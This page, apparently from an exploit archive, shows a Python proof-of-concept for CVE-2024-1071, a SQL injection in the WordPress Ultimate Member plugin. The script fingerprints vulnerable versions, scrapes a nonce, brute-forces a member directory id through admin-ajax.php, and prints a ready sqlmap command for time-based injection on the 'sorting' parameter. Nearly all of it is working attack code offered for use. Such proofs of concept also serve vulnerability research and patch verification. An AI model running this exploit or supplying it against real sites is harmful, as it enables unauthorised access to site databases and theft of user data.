4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
# CVE-2024-1071
# Ultimate Member Unauthorized Database Access Exploit / SQLi
# by Secragon
# PoC for educational/research purposes only
# Use it at your own risk!

import re
import sys
import urllib3
import hashlib
import requests
import argparse
from colorama import Fore, Style

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_version(target):
    
    print(Style.RESET_ALL + "Site version:", end=' ')
    try:
        r = requests.get(f"{target}/wp-content/plugins/ultimate-member/readme.txt", verify=False)
        version = re.search(r"Stable tag: (.*)", r.text).groups()[0]

    except:
        print(Fore.RED + f'error...')
        exit()


    if int(version.replace('.','')) > 212 and int(version.replace('.','')) < 283:
        print(Fore.GREEN + f'{version} - vulnerable!')
    else:
        print(Fore.RED + f'{version} - not vulnerable!')
        exit()


def get_nonce(target):

    print(Style.RESET_ALL + "Getting nonce:", end =' ')

    s = requests.Session()
    try:
        r = s.get(f'{target}/index.php/register/', verify=False)
        nonce = re.search(r'um_scripts\s*=\s*\{[^}]*"nonce":"([^"]+)"', r.text).groups()[0]
        print(Fore.GREEN + f"{nonce}")
        return nonce
    except:
        print(Fore.RED + f'error...')
        exit()


def get_directory_id(target, nonce):

    print(Style.RESET_ALL + "Searching for valid directory id:", end =' ')
    
    for num in range(1, 100):

        id = hashlib.md5(str(num).encode()).hexdigest()[10:15]
        payload = {
            "action": "um_get_members",
            "nonce": nonce,
            "directory_id": id
        }

        response = requests.post(f'{target}/wp-admin/admin-ajax.php', data=payload)
        if response.status_code == 200:
            if '"success":true' in response.text:
                print(Fore.GREEN + f"{id}")
                return id
            
    print(Fore.RED + f'error...')
    exit()


print()
print(Fore.BLUE + "\t\t --- Ultimate Member exploit ---")
print("\t\t  (unauthorized database access)")
print(Fore.RED + "\t\t\t\t  by gbrsh@secragon & gnomer0x@secragon")
print(Style.RESET_ALL)


parser = argparse.ArgumentParser()

parser.add_argument('url', help='http://wphost')

if len(sys.argv) == 1:
    parser.print_help()
    print()
    exit()

args = parser.parse_args()

check_version(args.url)
nonce = get_nonce(args.url)
dir_id = get_directory_id(args.url, nonce)

data = f'action=um_get_members&nonce={nonce}&directory_id={dir_id}&sorting=user_login'
print()
print(Style.RESET_ALL + "Perfect! Now let sqlmap do its job:")
print(f'Run: sqlmap -u {args.url}/wp-admin/admin-ajax.php --method POST --data "{data}" --dbms mysql --technique=T -p sorting')